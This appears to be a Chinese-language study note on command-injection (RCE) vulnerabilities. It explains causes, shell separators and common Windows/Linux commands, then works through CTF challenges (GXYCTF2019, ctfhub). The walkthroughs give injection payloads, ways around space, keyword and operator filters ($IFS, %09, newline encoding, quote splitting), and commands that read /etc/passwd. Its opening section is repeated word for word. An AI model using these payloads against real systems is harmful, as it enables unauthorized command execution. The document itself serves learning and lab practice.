命令執行
RCE
RCE(remote code execute):遠程命令執行或者代碼執行,我們平時說的rce,比如thinkPHP的
rce漏洞,即算代碼注入漏洞,也算rce漏洞,因為滲透的最終情況可以實現執行命令或者是代碼都屬于
RCE,例如代碼執行、文件包含、反序列化、命令執行,甚至是寫文件Getshell都可以屬于RCE。
命令執行的原理
命令執行漏洞指的是網站的應用程序有些需要調用執行系統命令,當用戶能控制這些函數中的參數
時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊。
system("cat /flag")
命令執行的成因
1、代碼層過濾不嚴格:商業應用需要執行命令,商業應用的一些核心代碼可能封住在二進制文件當中,
在web應用中通過system函數調用。
system("/bin/program --arg $arg")
2、調用第三方組件存在的代碼執行漏洞:如wordpress,可以選擇imagemagick這個常用的圖片處理
組件,處理用戶上傳圖片時造成命令執行;還有JAVA中 struts2/elasticsearch groovy等。
命令執行漏洞分類
1、代碼層過濾不嚴
2、系統的漏洞造成命令注入
3、調用的第三方組件存在代碼執行漏洞
RCE
RCE(remote code execute):遠程命令執行或者代碼執行,我們平時說的rce,比如thinkPHP的
rce漏洞,即算代碼注入漏洞,也算rce漏洞,因為滲透的最終情況可以實現執行命令或者是代碼都屬于
RCE,例如代碼執行、文件包含、反序列化、命令執行,甚至是寫文件Getshell都可以屬于RCE。
命令執行的原理
命令執行漏洞指的是網站的應用程序有些需要調用執行系統命令,當用戶能控制這些函數中的參數
時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊。
system("cat /flag")
命令執行的成因
1、代碼層過濾不嚴格:商業應用需要執行命令,商業應用的一些核心代碼可能封住在二進制文件當中,
在web應用中通過system函數調用。
system("/bin/program --arg $arg")
2、調用第三方組件存在的代碼執行漏洞:如wordpress,可以選擇imagemagick這個常用的圖片處理
組件,處理用戶上傳圖片時造成命令執行;還有JAVA中 struts2/elasticsearch groovy等。
命令執行漏洞分類
1、代碼層過濾不嚴
2、系統的漏洞造成命令注入
3、調用的第三方組件存在代碼執行漏洞
啟用一個端口為8081的服務器
Windows常用的命令和特殊字符
常用的命令
1、dir----查看文件目錄
2、ipconfig----查看Windows的IP地址
3、arp -a----查看ARP緩存表
4、calc----在命令行打開計算器
5、regedit----打開注冊表
6、netstat -ano----查看開放的端口信息
特殊字符
1、| 直接執行后面的語句
2、|| 前面出錯執行后面的,前面為假
3、& 前面的語句為假則直接執行后面的,前面可真可假
4、&& 前面的語句為假則直接出錯,后面的也不執行,前面只能為真
Linux常用的命令和特殊字符
常用的命令
1、cat /etc/passwd----查看
2、passwd文件 id----查看該用戶的ID號
3、groups----查看用戶所屬的組
4、cat /etc/group----查看組信息
5、whoami----查看當前用戶
6、pwd----查看當前路徑
7、uname -a----查看主機信息
8、cat /etc/issue----查看主機的配置信息
9、netstat -pantu----查看開放的端口信息
10、netstat -nr----查看路由信息
特殊字符
1、; 前面的執行完執行后面的
2、| 管道符,顯示后面的執行結果
3、|| 當前面的執行出錯時執行后面的
4、& 前面的語句為假則直接執行后面的,前面可真可假
5、&& 前面的語句為假則直接出錯,后面的也不執行,前面只能為真
6、換行符(編碼)
"exec(),echo(),eval()..."點擊查看元寶的回答
https://yuanbao.tencent.com/bot/app/share/chat/fhZKut0sp8oO(最底下見)
https://yuanbao.tencent.com/bot/app/share/chat/fhZKut0sp8oO(最底下見)
exec(),echo,eval()
函數 | 作用 | 輸入類型 | 輸出結果 | 安全風險等級 |
---|---|---|---|---|
??exec() ?? | 執行系統命令 | 字符串(命令) | 命令的最后一行 | ?? 高危(命令注入) |
??echo ?? | 輸出內容 | 字符串/變量 | 直接顯示內容 | ? 安全 |
??eval() ?? | 執行字符串中的代碼 | 字符串(代碼) | 代碼執行結果 | ?? 極高危(代碼注入) |
第一種方法
上傳木馬,然后通過蟻劍連接查找flag
第二種方法
利用重定向符
ip=1;ls /> 1.txt 查找根目錄
ip=1;ls>1.txt 查找目錄
ip=1;cat /flag.txt> 1.txt 查找flag
空格繞過
以ls /舉例
{ls,/}
以ls /
ls${IFS}/
使用 < , < 表示的是輸入重定向的意思,就是把 < 后面跟的文件取代鍵盤作為新的輸入設備。“命令 <
文件” ,這是將文件作為命令輸入
ls</
ls%09/
ls$IFS$9/
[GXYCTF2019]Ping Ping Ping 1
flag,空格被過濾
1,使用傳遞參數(因為不能出現flag整體)黑名單繞過
2,使用反引號
3,使用base64將cat flag.php編碼
ctfhub技能樹
命令注入
ip=;ls 查看當前目錄
ip=;cat 883914094984.php 查看源碼得到flag
過濾cat
試了一下,這些方法都可以,成功后查詢源碼即可
過濾空格
試了一下,%09,$IFS$9,${IFS},<重定向符號都可以
直接查詢后檢查源代碼即可
過濾目錄分隔符
cat /目錄名/文件名和cd 目錄名;cat 文件名的區別
點擊查看元寶的回答
https://yuanbao.tencent.com/bot/app/share/chat/JVfus9hjYbil
ip;ls 查看當前目錄ip;cd flag_is_here;ls 使用cd命令進入flag_is_here 查看其下的文件ip;cd flag_is_here;cat flag_146242307015503.php 打印flag_146242307015503.php檢查源碼即可
過濾運算符
過濾了&,|,使用;即可
ip=;ls
ip=;cat flag_19386297068450.php
綜合過濾練習
這里使用單引號''繞過,這里用$@、$*、""都可以繞過,變量拼接似乎不行
ip=%0als 查看當前目錄ip=%0acd$IFS$9fla$1g_is_here%0als 使用cd命令進入flag_is_here,并用ls查看其內容ip=%0acd$IFS$9fla$1g_is_here%0aca$1t$IFS$9fla$1g_146242307015503.php
打印flag_146242307015503.php然后查看flag
通配符繞過
可以使用通配符繞過
通配符是一種特殊語句,主要有星號(*)和問號(?),用來模糊搜索文件。當查找文件夾時,可以使 用它來代替一個或多個真正字符;當不知道真正字符或者懶得輸入完整名字時,常常使用通配符代替一 個或多個真正的字符
以上內容詳細可見(命令執行的PPT)
命令執行漏洞利用及繞過方式總結,從零基礎到精通,收藏這篇就夠了!_當利用遠程命令執行漏洞執行系統命令時,空格被防護代碼過濾,以下哪個符號可以替代_命令注入繞過空格-CSDN博客